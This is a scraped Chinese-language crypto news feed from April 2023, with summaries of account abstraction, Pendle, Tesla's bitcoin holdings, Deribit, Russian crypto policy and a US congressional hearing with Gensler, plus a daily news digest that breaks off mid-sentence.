Abstraction、法币出入金通道和跨链桥、交易批处理及智能合约钱包模块化设计；2）第三方基础设施提供商：例如 Bundler 和 Paymaster 提供商 Stackup、内存池浏览器和可视化工具提供商 Blocknative、正在开发其 Bundler 和 Paymaster 服务的 Alchemy 等。 内容来源 SteveIsEmployed：未来发展预测：1）由于竞品功能类似，技术壁垒也较低，智能合约钱包市场竞争激烈；2）Bundler 是一种盈利较难但是生态十分需要的公共物品；3）账户抽象仍然是一个非常早期的市场，因为采用率仍然很低，EIP-4337 尚未完成，许多 L2 尚未实现对账户抽象的支持；4）账户抽象市场需要许多创新，如无需许可的模块化基础设施、与现有法币和 DeFi 服务的集成、dApp SDK 及潜在的独立帐户层。 内容来源  ( 6 min )
    全面解读账户抽象和 EIP-4337 技术和应用场景：Web3 下一个十亿级用户市场？
    Chainfeeds 导读： 以太坊改进提案 4337 定义的账户抽象是一组协议层的接口，不仅集成了 Web2 用户熟悉的交互形式，还为 Web3 特有用户痛点提出了解决方案。万物岛独立研究员 Steve Wang 分三部分对账户抽象和 EIP-4337 进行了探索，包括 EIP-4337 的起源及技术细节、市场格局及账户抽象的发展方向。 文章来源： https://mirror.xyz/0x7333aB7AE068Ef92fb77A2bcab32FA273c45185c/ozUKb4RdhqB4ya49uw_OfMHILiZpDBV99eosD9gfumU 文章作者： SteveIsEmployed 观点： SteveIsEmployed：EIP-4337 为标准化智能合约钱包定义了六个合约接口：1）智能合约钱包：通过打包器触发入口合约来间接触发，在链下验证交易，然后在链上执行；2）Bundler：用于批量验证和执行用户操作；3）Entry Point Contract：用于标准化交易执行并防止打包器受到恶意交易的 DoS 攻击；4）Paymaster：用于代表钱包用户处理 Gas 支付；5）Wallet Factory：用于标准化钱包创建的参数和流程；6）Signature Aggregator：用于将多个交易的签名聚合为字节，以便更快地验证和执行交易。 内容来源 SteveIsEmployed：账户抽象市场参与者：1）智能合约钱包及配套 SDK：包括社交登陆和社交恢复、Gas Abstraction、法币出入金通道和跨链桥、交易批处理及智能合约钱包模块化设计；2）第三方基础设施提供商：例如 Bundler 和 Paymaster 提供商 Stackup、内存池浏览器和可视化工具提供商 Blocknative、正在开发其 Bundler 和 Paymaster 服务的 Alchemy 等。 内容来源 SteveIsEmployed：未来发展预测：1）由于竞品功能类似，技术壁垒也较低，智能合约钱包市场竞争激烈；2）Bundler 是一种盈利较难但是生态十分需要的公共物品；3）账户抽象仍然是一个非常早期的市场，因为采用率仍然很低，EIP-4337 尚未完成，许多 L2 尚未实现对账户抽象的支持；4）账户抽象市场需要许多创新，如无需许可的模块化基础设施、与现有法币和 DeFi 服务的集成、dApp SDK 及潜在的独立帐户层。 内容来源  ( 6 min )
    加密利率市场春风将至？深度解析 LSD 利率市场服务商 Pendle
    Chainfeeds 导读： 随着 LSD 叙事的深入，基于 LSD 发展更复杂的 DeFi 工具、关注和推演债券市场叙事的呼声逐渐大了起来，其中就包括开始被市场认识到价值以及挖掘新交易策略的 Pendle。Mint Ventures 研究员 Colin Li 撰文对 Pendle 的基本情况和业务进行了分析解读。 文章来源： https://research.mintventures.fund/2023/04/19/zh-pendle-unpacking-the-potential-of-the-crypto-interest-rate-market-with-lsd-market-service-provider/#11_%E6%A0%B8%E5%BF%83%E6%8A%95%E8%B5%84%E9%80%BB%E8%BE%91 文章作者： ColinLy 观点： ColinLy：从交易模型看，Pendle V2 版本中，基于 Notional Finance 提出的 AMM 模型，重新构建的 AMM 显著提升了交易效率。从底层资产看，Pendle 已经逐步构建起 4 层不同风险水平的固定收益市场，基本可以满足低风险投资者、套利者、流动性提供者和收益率投机者 4 种不同用户角色的需求。 内容来源 ColinLy：代币方面，在 V1 版本中，PENDLE 只是一种效用和治理代币，主要的功能是参与项目治理。V2 版本中，Pendle 团队正式将 Ve 模型引入了 PENDLE 代币，由此 PENDLE 代币拥有了价值捕获能力。在 V2 版本改进之后，PENDLE 应用场景和价值捕获比以前有了较为明显的提升。如果希望能吸引到长期稳定的低风险投资者，如何丰富底层资产的品种以及做大 TVL 非常关键。 内容来源 ColinLy：Pendle 主要风险：1）合约风险：这个风险不仅仅在 Pendle 自身，由于 Pendle 底层资产来自于其他项目，所以其他项目如果出现合约风险也会牵连到 Pendle，导致 Pendle 业务和经营情况萎缩；2）战略风险：Pendle 在 V1 版本选择部署在 Avalanche 上目前看来就是一个战略失误，其 Avalanche 业务短暂上涨后持续下跌；3）市场风险：部分底层资产，如 GLP 的价格并不锚定美元或公链代币，处于相对浮动状态，且不太方便对冲。 内容来源  ( 13 min )
    加密利率市场春风将至？深度解析 LSD 利率市场服务商 Pendle
    Chainfeeds 导读： 随着 LSD 叙事的深入，基于 LSD 发展更复杂的 DeFi 工具、关注和推演债券市场叙事的呼声逐渐大了起来，其中就包括开始被市场认识到价值以及挖掘新交易策略的 Pendle。Mint Ventures 研究员 Colin Li 撰文对 Pendle 的基本情况和业务进行了分析解读。 文章来源： https://research.mintventures.fund/2023/04/19/zh-pendle-unpacking-the-potential-of-the-crypto-interest-rate-market-with-lsd-market-service-provider/#11_%E6%A0%B8%E5%BF%83%E6%8A%95%E8%B5%84%E9%80%BB%E8%BE%91 文章作者： ColinLy 观点： ColinLy：从交易模型看，Pendle V2 版本中，基于 Notional Finance 提出的 AMM 模型，重新构建的 AMM 显著提升了交易效率。从底层资产看，Pendle 已经逐步构建起 4 层不同风险水平的固定收益市场，基本可以满足低风险投资者、套利者、流动性提供者和收益率投机者 4 种不同用户角色的需求。 内容来源 ColinLy：代币方面，在 V1 版本中，PENDLE 只是一种效用和治理代币，主要的功能是参与项目治理。V2 版本中，Pendle 团队正式将 Ve 模型引入了 PENDLE 代币，由此 PENDLE 代币拥有了价值捕获能力。在 V2 版本改进之后，PENDLE 应用场景和价值捕获比以前有了较为明显的提升。如果希望能吸引到长期稳定的低风险投资者，如何丰富底层资产的品种以及做大 TVL 非常关键。 内容来源 ColinLy：Pendle 主要风险：1）合约风险：这个风险不仅仅在 Pendle 自身，由于 Pendle 底层资产来自于其他项目，所以其他项目如果出现合约风险也会牵连到 Pendle，导致 Pendle 业务和经营情况萎缩；2）战略风险：Pendle 在 V1 版本选择部署在 Avalanche 上目前看来就是一个战略失误，其 Avalanche 业务短暂上涨后持续下跌；3）市场风险：部分底层资产，如 GLP 的价格并不锚定美元或公链代币，处于相对浮动状态，且不太方便对冲。 内容来源  ( 13 min )
    特斯拉 2023 年一季度没有购买或出售任何比特币
    特斯拉 2023 年一季度没有购买或出售任何比特币 特斯拉财报显示，其在 2023 年第一季度没有购买或出售任何比特币。截止一季度末，特斯拉持有的数字资产价值为 1.84 亿美元，与 2022 年第四季度持平。特斯拉连续第三个季度没有改变其比特币持仓数量。 内容来源  ( 383 min )
    特斯拉 2023 年一季度没有购买或出售任何比特币
    特斯拉 2023 年一季度没有购买或出售任何比特币 特斯拉财报显示，其在 2023 年第一季度没有购买或出售任何比特币。截止一季度末，特斯拉持有的数字资产价值为 1.84 亿美元，与 2022 年第四季度持平。特斯拉连续第三个季度没有改变其比特币持仓数量。 内容来源  ( 383 min )
    Deribit 将于 4 月 24 日推出零费用现货交易
    Deribit 将于 4 月 24 日推出零费用现货交易 加密货币期权交易所 Deribit 宣布将于 4 月 24 日推出零费用现货交易，允许用户购买和出售资产并同时使用衍生品管理风险，最初提供三个交易对，分别为 BTC/USDC、ETH/USDC 和 ETH/BTC。Deribit 表示，此举旨在促进流动性市场，并最大限度减少做市商障碍。 内容来源 观点： Luuk Strijers（Deribit 首席商务官）：在成为领先的加密货币衍生品交易平台并确保交易所安全性和透明度后，我们决定将我们的专业知识应用于现货交易。通过在我们现有的期货和期权产品中增加现货交易，我们现在能够提供丰富的交易所产品，以满足所有类型的交易者。【原文为英文】 内容来源  ( 10 min )
    Deribit 将于 4 月 24 日推出零费用现货交易
    Deribit 将于 4 月 24 日推出零费用现货交易 加密货币期权交易所 Deribit 宣布将于 4 月 24 日推出零费用现货交易，允许用户购买和出售资产并同时使用衍生品管理风险，最初提供三个交易对，分别为 BTC/USDC、ETH/USDC 和 ETH/BTC。Deribit 表示，此举旨在促进流动性市场，并最大限度减少做市商障碍。 内容来源 观点： Luuk Strijers（Deribit 首席商务官）：在成为领先的加密货币衍生品交易平台并确保交易所安全性和透明度后，我们决定将我们的专业知识应用于现货交易。通过在我们现有的期货和期权产品中增加现货交易，我们现在能够提供丰富的交易所产品，以满足所有类型的交易者。【原文为英文】 内容来源  ( 10 min )
    微软和 Space and Time 合作通过 Microsoft Azure Marketplace 向开发者提供实时区块链数据
    微软和 Space and Time 合作通过 Microsoft Azure Marketplace 向开发者提供实时区块链数据 微软和去中心化数据平台 Space and Time 正在合作通过 Microsoft Azure Marketplace 向开发者提供实时区块链数据。Microsoft Azure Marketplace 提供由主要区块链索引的实时数据，并结合客户提供的链外数据集，最终组合成一个混合交易和分析的数据库。通过 Azure Marketplace 的一键式部署，开发人员能够访问、管理和分析区块链数据。企业可以在不改造现有技术架构的情况下开发区块链。 此前报道，Space and Time 于 2022 年 9 月宣布完成由微软 M12 基金领投的 2000 万美元战略融资，其他投资者包括 Framework Ventures 及 HashKey 等。 内容来源 观点： Nate Holiday（Space and Time 首席执行官 ）：与微软合作对我们来说很有意义，在这个时代，数据的复杂性和数据的透明度将比以往任何时候都更重要。【原文为英文】 内容来源  ( 28 min )
    微软和 Space and Time 合作通过 Microsoft Azure Marketplace 向开发者提供实时区块链数据
    微软和 Space and Time 合作通过 Microsoft Azure Marketplace 向开发者提供实时区块链数据 微软和去中心化数据平台 Space and Time 正在合作通过 Microsoft Azure Marketplace 向开发者提供实时区块链数据。Microsoft Azure Marketplace 提供由主要区块链索引的实时数据，并结合客户提供的链外数据集，最终组合成一个混合交易和分析的数据库。通过 Azure Marketplace 的一键式部署，开发人员能够访问、管理和分析区块链数据。企业可以在不改造现有技术架构的情况下开发区块链。 此前报道，Space and Time 于 2022 年 9 月宣布完成由微软 M12 基金领投的 2000 万美元战略融资，其他投资者包括 Framework Ventures 及 HashKey 等。 内容来源 观点： Nate Holiday（Space and Time 首席执行官 ）：与微软合作对我们来说很有意义，在这个时代，数据的复杂性和数据的透明度将比以往任何时候都更重要。【原文为英文】 内容来源  ( 28 min )
    a16z 推出 Rust 编写的 OP Stack Rollup 客户端 Magi
    a16z 推出 Rust 编写的 OP Stack Rollup 客户端 Magi a16z 宣布推出用 Rust 编写的 OP Stack Rollup 客户端 Magi，该客户端能够执行与 op-node 相同功能，并与 op-geth 等执行客户端兼容，以同步到任何 OP Stack 链，包括 Optimism 和 Base。a16z 表示，Magi 的目标是成为一个独立开发可替换的 op-node，以增加 Rollup 客户端多样性。目前 Magi 仍处于早期阶段，未来功能改进计划包括改善延迟、提高初始同步速度、支持替代数据可用性及更好的用于测试 Magi、op-node 和任何未来客户端的测试框架。 内容来源 观点： a16z：GitHub 链接：https://github.com/a16z/magi 内容来源  ( 22 min )
    a16z 推出 Rust 编写的 OP Stack Rollup 客户端 Magi
    a16z 推出 Rust 编写的 OP Stack Rollup 客户端 Magi a16z 宣布推出用 Rust 编写的 OP Stack Rollup 客户端 Magi，该客户端能够执行与 op-node 相同功能，并与 op-geth 等执行客户端兼容，以同步到任何 OP Stack 链，包括 Optimism 和 Base。a16z 表示，Magi 的目标是成为一个独立开发可替换的 op-node，以增加 Rollup 客户端多样性。目前 Magi 仍处于早期阶段，未来功能改进计划包括改善延迟、提高初始同步速度、支持替代数据可用性及更好的用于测试 Magi、op-node 和任何未来客户端的测试框架。 内容来源 观点： a16z：GitHub 链接：https://github.com/a16z/magi 内容来源  ( 22 min )

  • Open

    全新游戏文创平台鬼脸文创即将上线，做数字文创和游戏爱好者的最佳搭档
    全新游戏文创平台鬼脸文创即将上线，做数字文创和游戏爱好者的最佳搭档 – 深潮TechFlow 鬼脸文创，一款独具创新性的游戏文创平台，将于4月21日0点正式上线。作为数字⽂创和游戏爱好者的最佳搭档，鬼脸文创将为游戏与数字文创产业带来全新的生机与活力。 Read the full entry  ( 2 min )
    全新游戏文创平台鬼脸文创即将上线，做数字文创和游戏爱好者的最佳搭档
    全新游戏文创平台鬼脸文创即将上线，做数字文创和游戏爱好者的最佳搭档 – 深潮TechFlow 鬼脸文创，一款独具创新性的游戏文创平台，将于4月21日0点正式上线。作为数字⽂创和游戏爱好者的最佳搭档，鬼脸文创将为游戏与数字文创产业带来全新的生机与活力。 Read the full entry  ( 2 min )

  • Open

    苏富比将拍卖三箭资本的NFT收藏品
    PANews 4月20日消息，据The Block报道，苏富比拍卖行周三宣布，将拍卖已破产对冲基金三箭资本(3AC)的NFT收藏品。苏富比表示，拍卖会将于5月开始，由多个部分组成，将持续一年。拍卖的NFT包括僵尸风格的CryptoPunk #6649、Dmitri Cherniak的Ringers #879和Tyler Hobbs的Fidenza #216。三箭资本曾在NFT上投入了大量资金。该公司曾为购买Ringers #879（俗称“金鹅”）花费了1800 ETH，价值约560万美元。今年2月，三箭资本的清算人在一份法庭文件中表示，计划出售一大批估值数百万美元的NFT，以弥补部分损失。  ( 1 min )
    俄罗斯央行正制定法案，将支持加密挖矿和跨境加密支付
    PANews 4月20日日消息，据俄罗斯塔斯社报道，俄罗斯央行行长Elvira Naiullina周一表示，俄罗斯央行正在制定一项法案，将引入一种“实验性法律制度”，允许加密货币专门用于进出口交易。俄罗斯央行的计划包括建立专门的组织，负责加密货币挖矿和处理跨境贸易支付。Naiullina补充说，在俄罗斯境内发行的数字资产也可以用于此类跨境交易，但俄罗斯境内的加密交易和支付仍将被禁止。此外，当地媒体援引俄罗斯议会经济政策委员会成员Sergei Altukhov的话称，俄罗斯政府还在制定一项法案，将创建一个国家机构，以许可和监督在俄罗斯运营的加密货币平台。Altukhov补充说，作为监管的一部分，将为矿工引入新的税法。据塔斯社此前报道，俄罗斯央行和财政部早前一致认为，在目前的情况下，俄罗斯无法避免使用加密支付。  ( 1 min )
    民主党和共和党关于稳定币监管产生分歧，或不利于迅速通过立法
    PANews 4月20日消息，据彭博社报道，在周三举行的众议院金融服务委员会关于稳定币的听证会上，民主党和共和党产生分歧，这可能不利于迅速达成立法协议。该委员会主席、共和党人Patrick McHenry表示，本月公布的一份稳定币法案草案为建立联邦框架奠定了基础，但他承认还有更多工作要做。McHenry表示，该草案是他与委员会民主党领袖Maxine Waters谈判的结果。然而，Waters周三表示，她和McHenry的谈判从未完成，最近的草案应该完全被忽略，并引用了FTX破产等失败事例，称这些失败发生在他们最初的谈判之后。她表示，“不幸的是，在这期间发生了很多事情。我认为谈判应该从零开始”。她还表示，共和党人已经表示，他们计划编写自己的单独法案。如果是这样的话，民主党人也会这样做，双方最终需要重新聚在一起解决分歧。此外，举行听证会的数字资产、金融技术和包容性小组委员会主席French Hill表示，成员们共同努力通过立法至关重要。去年，在TerraUSD崩溃后，稳定币监管成为了讨论的热门话题。  ( 1 min )
    Coinbase获得百慕大牌照，下周或将推出离岸衍生品交易所
    PANews 4月20日消息，据The Block报道，据Coinbase周三发布的一篇博客文章，该公司获得了百慕大金融管理局(Bermuda Monetary Authority)颁发的牌照。Coinbase表示，“百慕大是2018年首批通过全面数字资产监管的金融中心之一，其监管环境长期以来以高度严谨、透明、合规和合作而闻名”。据此前消息，Coinbase一直在探索推出一个离岸衍生品交易平台，以交易与加密货币相关的永久掉期。《财富》杂志的一篇报道称，该交易所最快将于下周推出。  ( 1 min )
    特斯拉今年第一季度未买卖比特币，比特币持仓连续三个季度保持不变
    PANews 4月20日消息，特斯拉周三下午公布的财报显示，该公司在2023年第一季度没有买卖任何比特币。截至第一季度末，特斯拉持有的数字资产价值为1.84亿美元，与2022年第四季度持平。尽管一季度末比特币价格从三个月前的16,500美元上涨至约28,500美元，但由于现行会计准则不允许计入此类收益，比特币的估值仍保持不变。特斯拉连续第三个季度没有改变其比特币持仓数量。FactSet的数据显示，特斯拉第一季度调整后每股收益(EPS)为85美分，营收为233.3亿美元。  ( 1 min )
    FTX US前总裁将推出期货和加密货币交易平台
    PANews 4月20日消息，据彭博社报道，FTX US前总裁Brett Harrison旗下公司Architect Financial Technologies将推出一个新的交易平台，供机构投资者交易期货和加密资产。该平台还将与StoneX Group Inc.和Wedbush Financial services LLC合作，提供期货交易清算服务。此外，新平台计划利用包括Wintermute和Galaxy Digital在内的几家加密做市商，支持场外交易。据悉，该平台不会为客户管理或交易基金。它的主要作用是通过其软件将用户连接到加密货币和期货市场系统。据此前消息，Harrison于今年年1月成立了Architect，该公司在今年1月进行的首轮融资中筹集了500万美元，Anthony Scaramucci、Coinbase Ventures、Circle Ventures、SALT 基金、SV Angel、Third Kind Venture Capital 和 Motivate Venture Capital等参投。Harrison曾担任Citadel Securities的技术负责人，2019年被任命领导FTX在美国的业务。2022年9月份，Brett Harrison宣布辞任FTX US总裁一职。  ( 2 min )
    纽约金融服务部：Signature Bank倒闭并非因为加密货币
    PANews 4月20日消息，据The Block报道，纽约金融服务部（NYDFS）反驳了Signature Bank因其对加密行业的敞口而倒闭的说法。NYDFS负责人Adrienne Harris在众议院关于稳定币的听证会上表示，将Signature Bank的失败与加密货币联系在一起是不准确的。上个月由于硅谷银行倒闭引发恐慌，包括信托基金和批发食品供应商在内的Signature客户从该银行取款。银行出现挤兑当然是不幸的，但这并不是说Signature失败与加密货币有关。在硅谷银行倒闭的那天晚上，Signature约有20%的存款从银行流出，但“这其中只有20%”是与加密货币相关的存款，其余的是正常的商业客户，所以我们不认为加密存款及其不稳定性导致了崩溃”。  ( 1 min )
    微软与Space and Time合作为Azure Cloud添加实时区块链数据
    PANews 4月19日消息，据CoinDesk报道，微软与去中心化数据平台 Space and Time 合作，通过 Microsoft Azure Marketplace 向开发人员提供实时区块链数据。通过 Azure 市场的一键式部署，开发人员能够访问、管理和分析区块链数据。企业可以在不改造现有技术架构的情况下开发区块链。 七个月前，Space and Time完成微软的风险投资部门M12领投的2000万美元融资。  ( 2 min )
    Karate Combat完成1800万美元融资用于加密驱动的武术
    PANews 4月19日消息，据Decrypt报道，用于构建 Web3、混合现实体育直播的应用程序Karate Combat完成1800万美元融资用于加密驱动的武术。Bitkraft Ventures 领投，Delphi Digital、The Operating Group、Alpha Wave Global、Hashkey、Lattice、M13、Santiago Santos、RooxieXBT 等参投。该轮融资将支持 5 月 10 日在以太坊和 Hedera 网络上推出的Karate Combat应用程序和联盟的 $KARATE 代币。 Karate Combat的结构是一个去中心化的自治组织(DAO)，粉丝可以通过应用程序和观看比赛赚取 $KARATE。目标是奖励联盟最活跃的球迷并将体验游戏化。  ( 2 min )
    PA日报｜Coinbase刊登广告呼吁采用加密货币；Twitter开始以X Corp.的名义开展业务
    今日要闻提示： 美国多位议员要求SEC检讨其加密监管方式并对Gary Gensler追责 特朗普将推出新系列个人NFT收藏品 彭博社：ChatGPT已可应用于金融领域，解读美联储声明并预测股价 MetaMask：大规模钱包被盗并非源于MetaMask漏洞，正调查此漏洞来源 Messari创始人：将带头发起一场耗资1亿美元的支持加密行业的政治运动 彭博社：Tribe Capital拟为潜在的FTX重启计划筹资2.5亿美元，已获1亿美元支持 胡润发布《2023全球独角兽榜》，区块链行业有53家独角兽企业入围 数据：链上标记为“Coinbase 6”的地址今日午间收到近30万枚ETH 监管消息 美国多位议员要求SEC检讨其加密监管方式并对Gary Gensler追责 据推特用户@JinzeJiang0x0的推文，美国SEC主席Gary Gensler今日众议院听证会直播40分钟后开始，在预先公布的证词中，他表示，“加密市场的任何内容都不符合证券法”，因为大多数加密货币都是证券。几乎所有议员态度上都pro Crypto，批评现行的针对性执法和对行业的负面指控，并且潜台词要Sec首先明确监管框架，让加密企业尽量聚拢在美国。除了Gensler没人提到加密货币高度投机属性带来的风险。Gensler在多次逼问下也不愿意亲口说包括ETH在内哪些币是证券，尽管SEC起诉书里指控了ETH、TRX、DASH、ALGO在内的一堆币是证券，看起来他知道这话题会惹争议不想往坑里跳。 多位议员批评Gensler和SEC在FTX和LUNA上的监管不力，并认为现在SEC现在对在岸且愿意合规的Coinbase和Paxos等监管过严，反而对离岸‘跳得欢’的那些监管过松。导致美国投资人和企业双输，要求SEC检讨并对Gensler追责。一位议员说，保护投资者应该让投资人自己选择，不是你说这东西风险高就替投资人做判断。一位议员讽刺Gensler都没持有过币怎么就能一棒子打死加密货币。 此前今日早些时候消息，美国SEC主席拒绝明确回应ETH属于商品还是证券。 俄罗斯央行拟允许对外结算在“实验”环境中使用加密货币 据俄新社报道，俄罗斯央行行长Elvira Nabiullina表示，俄罗斯央行计划允许交易公司在受控的“实验”环境中将加密货币用于对外结算。 在俄罗斯国家杜马与立法者会面时，Nabiullina称：“我们坚持在国内不应使用加密货币的立场。但对于外部支付，我们认为它应该可以通过实验的形式实现。”她证实，一项法案草案正在“准备中”，并将创建“特别监管机构”来监督参与“实验”的公司。 央行副主席Aleksey Guznov表示，目前正在进行一项“分析”，以确定哪些公司应该被允许使用加密支付。Nabiullina补充说，在第一阶段，该实验将允许国营机构参与，不排除未来可能会有私营公司参与。 NFT 特朗普将推出新系列个人NFT收藏品 特朗普周二在其社交平台Truth Social宣布，将推出个人NFT收藏品“Trump Digital Trading Cards”的第二系列。这些NFT将在Polygon区块链上铸造，售价仍为99美元，共包含47000枚NFT，这可能表明了他希望作为第47任总统重返白宫的决心。去年12月，特朗普发布了首个NFT系列，并在几个小时内售罄。根据美国政府道德办公室最近提交的一份文件，特朗普从这些NFT销售中赚取了10万至100万美元。 知名BAYC持有者Franklin已删除其推特账号，此前因赌博和投资失败抛售大量BAYC 经查看，知名BAYC持有者Franklin已删除其推特账号。Franklin于4月13日抛售大量BAYC，Franklin之前发推文解释称，其在此前的一项投资中被骗了近2000枚ETH，并在Rollbit项目投资中亏损650枚ETH。Franklin建议大家不要赌博，也不要发送任何未抵押的ETH。 元宇宙 彭博社：ChatGPT已可应用于金融领域，解读美联储声明并预测股价 据彭博社报道，将ChatGPT应用于金融领域的第一波学术研究即将到来。在本月发表的两篇新论文显示，ChatGPT已可解读美联储声明中的鹰派或鸽派立场，并可根据头条新闻预测股价走势。ChatGPT甚至能够以一种类似于央行分析师的方式解释其对美联储政策声明的分类，后者也将语言解释为该研究的人类基准。 同时，研究发现，ChatGPT根据新闻标题预测的股价后续走势与统计数据有关，表明该技术能够正确分析消息的含义。这两篇新论文表明，ChatGPT甚至可以在没有经过专门培训的情况下完成类似的任务。 项目动态 Coinbase将Multichain（MULTI）列入上币路线图 Coinbase Assets发推表示，已将Multichain（MULTI）列入上币路线图。Multichain (MULTI) 的以太坊网络（ERC-20 代币）合约地址是0x65ef703f5594d2573eb71aaf55bc0cb548492df4。 今日晚些时候消息，Coinbase将Sperax（SPA）列入上币路线图。 Lido社区正对“接收ARB空投代币”提案进行投票，目前支持率为100% Snapshot投票页面显示，Lido社区正对“接收ARB空投代币”的提案进行投票，该投票将于4月22日结束，目前支持率为100%。 该提案主要内容包括：1：确认Arbitrum基金会将772,621枚ARB空投给Lido，reWARDS委员会有权使用申领ARB代币。2.reWARDS委员会将在Arbitrum One网络上创建一个新的多重签名钱包，用于接收ARB代币。3.将在未来4-6个月内通过激励，增加在Arbitrum生态系统中采用wstETH来质押。4.提议使用月度报告，以确保Lido DAO社区了解该计划的进展情况。 MetaMask：大规模钱包被盗并非源于MetaMask漏洞，正调查此漏洞来源 Web3钱包MetaMask今日在推特上表示，近期@tayvano_的推文错误地声称大规模钱包被盗是MetaMask漏洞的结果，这是不正确的。关于 5,000枚ETH从MetaMask被盗的说法是不正确的。数据显示5000枚ETH从11个区块链的不同地址被盗。MetaMask安全团队正在与Web3钱包领域的其他方合作，研究此漏洞利用的来源。与往常一样，请用户注意离线安全地存储助记词，并将更多的加密货币存储在硬件钱包中。 Coinbase今日在英国《金融时报》刊登广告，呼吁采用加密货币 Coinbase首席执行官Brian Armstrong在推特上表示，Coinbase今日在英国《金融时报》刊登了题为《It's Time to Update the System（是时候更新系统了）》的平面广告，指出6项采用加密货币的原因，包括加密技术可以帮助更新老化的金融基础设施，为客户提供更多的金融自由，为机构提供推动创新的新工具等。 此前昨日消息，Coinbase在博客文章中表示，英国可以成为“Web3经济的创新中心”。Brian Armstrong表示，如果加密行业的监管不明确，Coinbase可能会考虑搬离美国。 Messari创始人：将带头发起一场耗资1亿美元的支持加密行业的政治运动 Messari创始人Ryan Selkis发推文称：“在接下来的18个月里，我将帮助带头发起一场耗资1亿美元、多实体参与的、支持加密行业的政治运动。我正在把我的时间、精力和金钱投入到我说到做到的事情上。” 此前2月消息，Ryan Selkis针对Paxos监管危机评论称，誓要结束Gary Gensler的政治生涯。 Twitter告知企业用户其现以X Corp.的名义开展业务，正在转向“万能应用” 据福布斯报道，Twitter, Inc.周二通知其商业客户，该公司现在以X Corp.的名义开展业务，证实了此前在法庭文件中所表明的过渡，首席执行官埃隆·马斯克(Elon Musk)继续重塑这家社交媒体公司，以实现他对X Corp.“万能应用”的最终愿景。” 这封电子邮件以“X Corp.（前身为 Twitter, Inc.）”结尾，强化了这一变化，该公司在上周首次报道的4月4日法庭文件中首次正式披露了这一变化。该公司的服务条款现在列出了“X Corp.”。作为公司的正式名称，但尚不清楚何时进行了此更改。此封邮件表明Twitter将保留社交媒体网站的名称。此外，X Corp.在内华达州注册成立，而非Twitter以前的注册地特拉华州。 Arbitrum本周将对生态中的符合条件的DAO全面发放初始代币分配 据官方推特，Arbitrum宣布将对生态系统中符合条件的DAO发放初始代币分配。目前，多数DAO已公开确认其接收ARB空投的目标地址，今日将开始对那些公开提供其金库钱包的交易进行测试，本周晚些时候将进行全面分发，并继续等待一些DAO提供其地址。此次代币分配不是赠款，而是1.13%的初始代币分配。 Zipmex已向新加坡法院申请将重组计划延期2个月，以重新寻找投资者 加密交易所Zipmex发布投资过程更新公告，该交易所投资方最初要求Zipmex Asia修改投资金额，这影响了新加坡法院批准的原安排计划。截至今天，投资方声称SSA（买卖合同）已经失效，并且不再有义务遵守SSA的条款。投资方还要求Zipmex偿还其营运资金贷款。公司现正与投资方讨论，以寻找适合各方的最佳可行解决方案。 公司意识到投资者的新投资金额将对Z钱包重新开放的时间表产生影响。因此，Zipmex目前正在与新的投资方进行谈判，以最大限度地提高客户的回报。这使得投资过程需要额外的时间，因此，Zipmex Asia已向新加坡法院提交申请，将暂停期再延长2个月。法院尚未确定审讯日期。公司计划利用这段时间寻找重新开放Z钱包的解决方案。 此前3月24日消息，加密交易所Zipmex的救助投资者未能付款，公司警告员工Zipmex或将清算。 Sui基金会：代币表彰销售已推迟，请警惕虚假邮件 据官方公告，Sui基金会表示，由于在评估数据收集项目时出现延后，代币表彰销售已推迟，目前已经通知交易平台调整相应销售时间。 此外，Sui基金会提醒称，过去24小时内，基金会没有向任何社区成员发送收集验证信息的邮件，请保持警惕。 Arbitrum生态AMM协议Chronos发布代币分配与空投细则 据官方博客，Arbitrum生态AMM协议Chronos发布代币分配与空投细则，计划包括超16000名参与者，并分发53%的初始供应量。 据悉，CHR的初始供应量为50,000,000枚，最初供应量的9%将分配给chrNFT持有者、25%分配给合作伙伴协议、21%对veCHR用户进行空投。此外，在启动时，预计将有245万枚流动性CHR代币的初始流通供应。 币安产品负责人：币安未来将推出盈亏分析工具、交互页面和游戏等产品 币安在近日的博客文章中分享了其产品负责人Mayur Kamat于3月22日概述的币安产品路线图，Kamat称币安最近发布的产品包括用户反馈工具、Binance Build（在推特上通过此标签发布日常改进功能）、zk-SNARKs储备证明（已于2月发布）、Binance Pay更多的使用场景以及纳税申报工具Binance Tax（已在法国推出，未来几个月将在全球范围内推出）。 此外，币安未来将发布的产品包括：1.盈亏分析工具：可让用户跟踪其投资组合。2.改进基于生物识别技术的产品以使多重身份验证更加方便。3.互动页面和游戏：在确保存款页面流程是无缝的同时，用户将可通过扫描二维码保存地址，而不是复制粘贴；将推出更多吸引新用户的功能，并可让用户通过推荐、活动和游戏赚取加密货币。 Kamat强调，推动币安产品团队的决策的五个原则的简单、透明、创新、速度和社区。 Avalanche将于4月25日在主网激活Cortina升级，此前验证者需更新节点 Ava Labs开发者关系工程师Usman Asim发推文称：“提醒所有Avalanche验证者：Cortina AvalancheGo版本 (v1.10.0)现已推出，并将于北京时间4月25日23:00激活。验证者必须在此日期之前更新节点，否则它们将无法处理升级后的新块。”Github信息显示，升级中的更改将于4月25日23:00在主网上生效。 Cortina升级将迁移X-Chain以运行Snowman++共识，这意味着整个网络已经迁移到一个单一的共识引擎。Cortina升级还引入了批处理授权奖励并将C-Chain gas上限提高至1500 gas。 此前消息，Avalanche已于4月6日在Fuji测试网上激活Cortina升级。 彭博社：Tribe Capital拟为潜在的FTX重启计划筹资2.5亿美元，已获1亿美元支持 据彭博社报道，知情人士透露，风险投资公司Tribe Capital联合创始人Arjun Seti 1月会见了FTX的无担保债权人委员会，讨论了一项重启该交易所的提议，作为该计划的一部分，Tribe正在考虑筹集2.5亿美元，而该公司已经从母公司及其投资者那里获得了1亿美元的支持。据悉，Tribe Capital成立于2018年，是FTX的投资者之一。 此前今日早些时候消息，FTX重新设法争取Tribe Capital提出收购报价，Tribe已经围绕非正式收购计划会见了FTX的无担保债权人委员会；FTX无担保债权人官方委员会推特发文称，目前还没有重启或出售交易所的明确时间表。 TON基金会推出TON与以太坊的双向跨链桥 Telegram 区块链项目 TON 基金会宣布推出 TON 与以太坊的双向跨链桥，支持以太坊上 ERC-20 代币与 TON 上封装资产的兑换，目前支持 WBTC、USDT、USDC 和 DAI。计划在不久的将来提供更多可用于桥接的代币。 胡润发布《2023全球独角兽榜》，区块链行业有53家独角兽企业入围 胡润研究院今日于广州发布《2023全球独角兽榜》（Global Unicorn Index 